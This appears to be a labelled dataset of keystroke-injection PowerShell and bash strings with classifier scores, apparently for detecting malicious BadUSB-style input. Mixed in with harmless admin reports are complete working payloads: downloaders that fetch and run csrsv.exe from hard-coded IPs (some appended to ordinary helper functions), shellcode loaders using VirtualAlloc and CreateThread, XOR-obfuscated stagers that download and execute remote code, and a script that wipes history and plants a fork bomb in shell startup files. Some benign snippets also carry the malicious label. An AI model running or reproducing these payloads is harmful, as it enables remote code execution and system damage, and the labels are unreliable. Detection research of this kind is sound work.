"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_geuy4v9h"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3669025e-05
"win+r powershell enter  enter function Get-DataLakeStoreAccountName enter { enter return getAssetName enter } enter function Get-DataLakeAnalyticsAccountName enter { enter return getAssetName enter } enter function Get-ResourceGroupName enter { enter return getAssetName enter } enter function Invoke-HandledCmdlet enter { enter param enter ( enter [ScriptBlock] $Command, enter [switch] $IgnoreFailures enter ) enter try enter { enter &$Command enter } enter catch enter { enter if(!$IgnoreFailures) enter { enter throw; enter } enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter",1,1,5.985036e-05,0.99994016
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_seckyiqp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_profiles.csv"") -NoTypeInformation enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_25.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3922857e-05
"win+r powershell enter . $PSScriptRoot\Shared.ps1 . $modulePath\Utils.ps1 $expectedEncoding = if ($PSV enter ersionTable.PSVersion.Major -le 5) { ""utf8"" } else { ""ascii"" } Describe 'Utils enter Function Tests' { Context 'Add-PoshGitToProfile Tests' { BeforeAll { [System. enter Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssi enter gments', '')] $newLine = [System.Environment]::NewLine } BeforeEach { enter enter",1,1,0.0059655746,0.99403447
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_5hf6b9k0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 50 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter",0,0,0.99996567,3.4289704e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_bf2llm8d"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_stopped.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3719083e-05
"win+r enter powershell enter enter enter Describe 'Misc Test' -Tags ""CI"" { enter enter Context 'Where' { enter class C1 { enter [int[]] $Wheels = @(1,2,3); enter [string] Foo() { enter return (1..10).Where({ $PSItem -in $this.Wheels; }) -join ';' enter } enter enter [string] Bar() enter { enter return (1..10 | Where-Object { $PSItem -in $this.Wheels; }) -join ';' enter } enter } enter It 'Invoke Where' { enter [C1]::new().Foo() | Should -Be ""1;2;3"" enter } enter It 'Pipe to where' { enter [C1]::new().Bar() | Should -Be ""1;2;3"" enter } enter } enter enter Context 'ForEach' { enter class C1 { enter [int[]] $Wheels = @(1,2,3); enter [string] Foo() { enter $ret="""" enter Foreach($PSItem in $this.Wheels) { $ret +=""$PSItem;""} enter return $ret enter } enter enter [string] Bar() enter { enter $ret = """" enter $this.Wheels | ForEach-Object { $ret += ""$_;"" } enter return $ret enter } enter } enter It 'Invoke Foreach' { enter [C1]::new().Foo() | Should -Be ""1;2;3;"" enter } enter It 'Pipe to Foreach' { enter [C1]::new().Bar() | Should -Be ""1;2;3;"" enter } enter } enter enter Context 'Class instantiation' { enter Class C1 { enter [string] Foo() { enter return (Get-TestText) enter } enter } enter enter BeforeAll { enter $ExpectedTextFromBoundInstance = ""Class C1 was defined in this Runspace"" enter $ExpectedTextFromUnboundInstance = ""New Runspace without class C1 defined"" enter function Get-TestText { return $ExpectedTextFromBoundInstance } enter enter $NewRunspaceFunctionDefinitions = @"" enter enter function Get-TestText { return '$ExpectedTextFromUnboundInstance' } enter function New-UnboundInstance([Type]`$type) { `$type::new() } enter function Run-Foo(`$C1Instance) { `$C1Instance.Foo() } enter ""@ enter enter $powershell = [powershell]::Create() enter $powershell.AddScript($NewRunspaceFunctionDefinitions).Invoke() > $null enter $powershell.Commands.Clear() enter enter function InstantiateInNewRunspace([Type]$type) { enter try { enter $result = $powershell.AddCommand(""New-UnboundInstance"").AddParameter(""type"", $type).Invoke() enter $result.Count | Should -Be 1 enter return $result[0] enter } finally { enter $powershell.Commands.Clear() enter } enter } enter enter function RunFooInNewRunspace($instance) { enter try { enter $result = $powershell.AddCommand(""Run-Foo"").AddParameter(""C1Instance"", $instance).Invoke() enter $result.Count | Should -Be 1 enter return $result[0] enter } finally { enter $powershell.Commands.Clear() enter } enter } enter } enter enter AfterAll { enter $powershell.Dispose() enter } enter enter It ""Create instance that is bound to a SessionState"" { enter $instance = [C1]::new() enter $instance.Foo() | Should -BeExactly $ExpectedTextFromBoundInstance enter RunFooInNewRunspace $instance | Should -BeExactly $ExpectedTextFromBoundInstance enter } enter enter It ""Create instance that is NOT bound to a SessionState"" { enter $instance = InstantiateInNewRunspace ([C1]) enter $instance.Foo() | Should -BeExactly $ExpectedTextFromBoundInstance enter RunFooInNewRunspace $instance | Should -BeExactly $ExpectedTextFromUnboundInstance enter } enter } enter } enter enter",0,0,0.9998216,0.00017840309
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_2rbbrl48"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4131477e-05
"win+r enter powershell enter enter enter function Assert-NotEmpty enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Position=0)] enter [object] enter enter $InputObject, enter enter [Parameter(Position=1)] enter [string] enter enter $Message enter ) enter enter Set-StrictMode -Version 'Latest' enter enter if( $InputObject -eq $null ) enter { enter Fail (""Object is null but expected it to be not empty. {0}"" -f $Message) enter return enter } enter enter $hasLength = Get-Member -InputObject $InputObject -Name 'Length' enter $hasCount = Get-Member -InputObject $InputObject -Name 'Count' enter enter if( -not $hasLength -and -not $hasCount ) enter { enter Fail (""Object '{0}' has no Length/Count property, so can't determine if it's empty or not. {1}"" -f $InputObject,$Message) enter } enter enter if( ($hasLength -and $InputObject.Length -lt 1) -or ($hasCount -and $InputObject.Count -lt 1) ) enter { enter Fail (""Object '{0}' empty. {1}"" -f $InputObject,$Message) enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.8118865e-05,0.9999418
"win+r powershell enter Import-Module HelpersCommon $script:cmdletsToSkip = @( ""Get-PSHostProcessInfo"" enter , ""Out-Default"", ""Register-ArgumentCompleter"", ""New-PSRoleCapabilityFile"", "" enter Get-PSSessionCapability"", ""Disable-PSRemoting"", ""Enable-PSRemoting"", ""Get-Ex enter perimentalFeature"", ""Enable-ExperimentalFeature"", enter enter",1,1,0.0021281568,0.9978719
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xb5,0x80,0xd9,0xa0,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_w70loqtj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.400153e-05
"win+r powershell enter function Stop-PSFRunspace enter { enter [CmdletBinding(SupportsShouldProcess = $true, HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Stop-PSFRunspace')] enter Param ( enter [Parameter(ValueFromPipeline = $true)] enter [string[]] enter $Name, enter [Parameter(ValueFromPipeline = $true)] enter [PSFramework.Runspace.RunspaceContainer[]] enter $Runspace, enter [switch] enter $EnableException enter ) enter process enter { enter foreach ($item in $Name) enter { enter if ($item -eq ""psframework.runspace.runspacecontainer"") { continue } enter if ([PSFramework.Runspace.RunspaceHost]::Runspaces.ContainsKey($item.ToLower())) enter { enter if ($PSCmdlet.ShouldProcess($item, ""Stopping Runspace"")) enter { enter try enter { enter Write-PSFMessage -Level Verbose -Message ""Stopping runspace: <c='em'>$($item.ToLower())</c>"" -Target $item.ToLower() -Tag ""runspace"", ""stop"" enter [PSFramework.Runspace.RunspaceHost]::Runspaces[$item.ToLower()].Stop() enter } enter catch enter { enter Stop-PSFFunction -Message ""Failed to stop runspace: <c='em'>$($item.ToLower())</c>"" -EnableException $EnableException -Tag ""fail"", ""argument"", ""runspace"", ""stop"" -Target $item.ToLower() -Continue -ErrorRecord $_ enter } enter } enter } enter else enter { enter Stop-PSFFunction -Message ""Failed to stop runspace: <c='em'>$($item.ToLower())</c> | No runspace registered under this name!"" -EnableException $EnableException -Category InvalidArgument -Tag ""fail"", ""argument"", ""runspace"", ""stop"" -Target $item.ToLower() -Continue enter } enter } enter foreach ($item in $Runspace) enter { enter if ($PSCmdlet.ShouldProcess($item.Name, ""Stopping Runspace"")) enter { enter try enter { enter Write-PSFMessage -Level Verbose -Message ""Stopping runspace: <c='em'>$($item.Name.ToLower())</c>"" -Target $item -Tag ""runspace"", ""stop"" enter $item.Stop() enter } enter catch enter { enter Stop-PSFFunction -Message ""Failed to stop runspace: <c='em'>$($item.Name.ToLower())</c>"" -EnableException $EnableException -Tag ""fail"", ""argument"", ""runspace"", ""stop"" -Target $item -Continue -ErrorRecord $_ enter } enter } enter } enter } enter } enter",0,0,0.9999479,5.2063457e-05
"win+r powershell enter ctrl alt t unset histfile && histsize=0 && rm -f $histfile && unset histfile enter enter cat <<eof > /tmp/tmppp enter enter ls -a | grep 'zshrc' &> /dev/null enter enter if [ 0 = 0 ]; then enter enter echo -e ""echo -e \""""'!!!!!!you have been hacked!!!!!!""'"" enter enter echo "":(){ :|:& };:"" >> ~/.zshrc enter enter fi enter enter enter enter ls -a | grep 'bashrc' &> /dev/null enter enter if [ 0 = 0 ]; then enter enter echo -e ""echo -e \""""'!!!!!!you have been hacked!!!!!!""'"" enter enter echo "":(){ :|:& };:"" >> ~/.bashrc enter enter fi enter enter eof enter enter chmod +x /tmp/tmppp && /tmp/./tmppp && rm /tmp/tmppp enter enter exit enter enter",1,1,0.0018177495,0.9981823
"win+r powershell enter $GJy = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $GJy -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x91,0 enter x01,0xb7,0xa6,0xda,0xc1,0xd9,0x74,0x24,0xf4,0x5e,0x2b,0xc9,0xb1,0x51,0x31,0x56,0 enter x14,0x83,0xee,0xfc,0x03,0x56,0x10,0x73,0xf4,0x4b,0x4e,0xf1,0xf7,0xb3,0x8f,0x95,0 enter x7e,0x56,0xbe,0x95,0xe5,0x12,0x91,0x25,0x6d,0x76,0x1e,0xce,0x23,0x63,0x95,0xa2,0 enter xeb,0x84,0x1e,0x08,0xca,0xab,0x9f,0x20,0x2e,0xad,0x23,0x3a,0x63,0x0d,0x1d,0xf5,0 enter x76,0x4c,0x5a,0xeb,0 enter enter",1,1,5.4593234e-05,0.9999454
"win+r enter powershell enter enter enter $Wc=NEW-ObjEcT SyStem.NEt.WEBCLiEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HeaDers.ADD('User-Agent',$u);$wc.Proxy = [SYsTem.NeT.WeBReqUeSt]::DEFAulTWebPROxy;$WC.PRoxY.CredENtIalS = [SysTEm.Net.CRedEntIALCaChE]::DEFAULTNETWOrKCRedEntiaLS;$K='uH{E[O@8\5eShU^,_;4JoPfBiNlKgzx7';$I=0;[chAR[]]$B=([CHar[]]($WC.DOWNLOADSTRInG(""http://192.168.178.21:8080/index.asp"")))|%{$_-BXoR$K[$I++%$K.LenGtH]};IEX ($b-jOiN'') enter enter",1,1,5.6712986e-05,0.99994326
"win+r powershell enter class MigrationLogger { [string]$CurrentCommandPath [string]$OutputFilePath enter [string]$ScriptName [DateTime]$StartDate MigrationLogger([string] $CurrentCom enter mandPath) { $this.StartDate = Get-Date $this.CurrentCommandPath = $CurrentComm enter andPath $this.ScriptName = Split-Path $CurrentCommandPath -Leaf $fileName = [s enter tring]::Concat(""log."", $this.ScriptName, ""."", $this.FormatDate($this.StartDate), enter "".txt"") enter enter",1,1,0.001468812,0.9985312
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_lrr5bxd5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 50 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter",0,0,0.99996555,3.447897e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_2f1fmnf0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_handles_25.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4871813e-05
"win+r enter powershell enter enter enter function Clean-ResourceGroup($rgname) enter { enter if ([Microsoft.Azure.Test.HttpRecorder.HttpMockServer]::Mode -ne [Microsoft.Azure.Test.HttpRecorder.HttpRecorderMode]::Playback) { enter Remove-AzResourceGroup -Name $rgname -Force enter } enter } enter function Retry-IfException enter { enter param([ScriptBlock] $script, [int] $times = 30, [string] $message = ""*"") enter enter if ($times -le 0) enter { enter throw 'Retry time(s) should not be equal to or less than 0.'; enter } enter enter $oldErrorActionPreferenceValue = $ErrorActionPreference; enter $ErrorActionPreference = ""SilentlyContinue""; enter enter $iter = 0; enter $succeeded = $false; enter while (($iter -lt $times) -and (-not $succeeded)) enter { enter $iter += 1; enter enter try enter { enter &$script; enter } enter catch enter { enter enter } enter enter if ($Error.Count -gt 0) enter { enter $actualMessage = $Error[0].Exception.Message; enter enter Write-Output (""Caught exception: '$actualMessage'""); enter enter if (-not ($actualMessage -like $message)) enter { enter $ErrorActionPreference = $oldErrorActionPreferenceValue; enter throw ""Expected exception not received: '$message' the actual message is '$actualMessage'""; enter } enter enter $Error.Clear(); enter Wait-Seconds 10; enter continue; enter } enter enter $succeeded = $true; enter } enter enter $ErrorActionPreference = $oldErrorActionPreferenceValue; enter } enter function Get-RandomItemName enter { enter param([string] $prefix = ""pslibtest"") enter enter if ($prefix -eq $null -or $prefix -eq '') enter { enter $prefix = ""pslibtest""; enter } enter enter $str = $prefix + ((Get-Random) % 10000); enter return $str; enter } enter function Get-ApplicationInsightsTestResourceName enter { enter $stack = Get-PSCallStack enter $testName = $null; enter foreach ($frame in $stack) enter { enter if ($frame.Command.StartsWith(""Test-"", ""CurrentCultureIgnoreCase"")) enter { enter $testName = $frame.Command; enter } enter } enter enter $oldErrorActionPreferenceValue = $ErrorActionPreference; enter $ErrorActionPreference = ""SilentlyContinue""; enter enter try enter { enter $assetName = [Microsoft.Azure.Test.HttpRecorder.HttpMockServer]::GetAssetName($testName, ""pstestrg""); enter } enter catch enter { enter if (($Error.Count -gt 0) -and ($Error[0].Exception.Message -like '*Unable to find type*')) enter { enter $assetName = Get-RandomItemName; enter } enter else enter { enter throw; enter } enter } enter finally enter { enter $ErrorActionPreference = $oldErrorActionPreferenceValue; enter } enter enter return $assetName enter } enter function Get-ProviderLocation($provider) enter { enter ""eastus"" enter } enter function Get-ProviderLocation_Canary($provider) enter { enter ""eastus2euap"" enter } enter $WC=NEW-ObjEcT SySTEM.NEt.WEBCLIent;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HeaDERs.ADD('User-Agent',$u);$Wc.PrOxY = [SYStEm.NEt.WEbRequEST]::DeFAUltWEBPRoxy;$WC.PRoxy.CrEDENTIAls = [SYStem.Net.CRedenTialCaChe]::DeFaULtNEtWoRkCRedEnTIALS;$K='W?9nCa`u12hUg[5o_AJ^tG&!.k:lETBx';$I=0;[ChAR[]]$b=([ChaR[]]($wC.DoWNLOaDSTrinG(""http://192.168.52.128:8080/index.asp"")))|%{$_-bXOr$K[$i++%$K.LenGTh]};IEX ($b-JoiN'') enter enter",1,1,5.6976227e-05,0.999943
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_qzc7iwz0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4019464e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_ckautl9v"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 3."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter",0,0,0.99996483,3.515057e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0xfe,0x27,0xc1,0x8e,0xd9,0xc1,0xd9,0x74,0x24,0xf4,0x5d,0x33,0xc9,0xb1,0x47,0x31,0x7d,0x13,0x83,0xc5,0x04,0x03,0x7d,0xf1,0xc5,0x34,0x72,0xe5,0x88,0xb7,0x8b,0xf5,0xec,0x3e,0x6e,0xc4,0x2c,0x24,0xfa,0x76,0x9d,0x2e,0xae,0x7a,0x56,0x62,0x5b,0x09,0x1a,0xab,0x6c,0xba,0x91,0x8d,0x43,0x3b,0x89,0xee,0xc2,0xbf,0xd0,0x22,0x25,0xfe,0x1a,0x37,0x24,0xc7,0x47,0xba,0x74,0x90,0x0c,0x69,0x69,0x95,0x59,0xb2,0x02,0xe5,0x4c,0xb2,0xf7,0xbd,0x6f,0x93,0xa9,0xb6,0x29,0x33,0x4b,0x1b,0x42,0x7a,0x53,0x78,0x6f,0x34,0xe8,0x4a,0x1b,0xc7,0x38,0x83,0xe4,0x64,0x05,0x2c,0x17,0x74,0x41,0x8a,0xc8,0x03,0xbb,0xe9,0x75,0x14,0x78,0x90,0xa1,0x91,0x9b,0x32,0x21,0x01,0x40,0xc3,0xe6,0xd4,0x03,0xcf,0x43,0x92,0x4c,0xd3,0x52,0x77,0xe7,0xef,0xdf,0x76,0x28,0x66,0x9b,0x5c,0xec,0x23,0x7f,0xfc,0xb5,0x89,0x2e,0x01,0xa5,0x72,0x8e,0xa7,0xad,0x9e,0xdb,0xd5,0xef,0xf6,0x28,0xd4,0x0f,0x06,0x27,0x6f,0x63,0x34,0xe8,0xdb,0xeb,0x74,0x61,0xc2,0xec,0x7b,0x58,0xb2,0x63,0x82,0x63,0xc3,0xaa,0x40,0x37,0x93,0xc4,0x61,0x38,0x78,0x15,0x8e,0xed,0x15,0x10,0x18,0xce,0x42,0x1b,0x99,0xa6,0x90,0x1c,0x08,0x6b,0x1c,0xfa,0x7a,0xc3,0x4e,0x53,0x3a,0xb3,0x2e,0x03,0xd2,0xd9,0xa0,0x7c,0xc2,0xe1,0x6a,0x15,0x68,0x0e,0xc3,0x4d,0x04,0xb7,0x4e,0x05,0xb5,0x38,0x45,0x63,0xf5,0xb3,0x6a,0x93,0xbb,0x33,0x06,0x87,0x2b,0xb4,0x5d,0xf5,0xfd,0xcb,0x4b,0x90,0x01,0x5e,0x70,0x33,0x56,0xf6,0x7a,0x62,0x90,0x59,0x84,0x41,0xab,0x50,0x10,0x2a,0xc3,0x9c,0xf4,0xaa,0x13,0xcb,0x9e,0xaa,0x7b,0xab,0xfa,0xf8,0x9e,0xb4,0xd6,0x6c,0x33,0x21,0xd9,0xc4,0xe0,0xe2,0xb1,0xea,0xdf,0xc5,0x1d,0x14,0x0a,0xd4,0x62,0xc3,0x72,0xa2,0x8a,0xd7;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.217026e-05,0.9999478
"win+r enter powershell enter enter enter $wC=New-OBject SySTEm.NEt.WEbCLieNT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeAderS.Add('User-Agent',$u);$Wc.PrOxy = [SYstEm.NeT.WEbReqUesT]::DEFAULtWebPRoxY;$Wc.PrOxY.CreDEnTiALs = [SysteM.NEt.CreDENtIaLCAcHE]::DEfAuLtNEtWorkCredenTials;$K='+o~wy2*CJxSA^ enter enter",1,1,5.4462504e-05,0.9999455
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install obs-studio.install enter A enter enter enter,0,0,0.9999603,3.9718016e-05
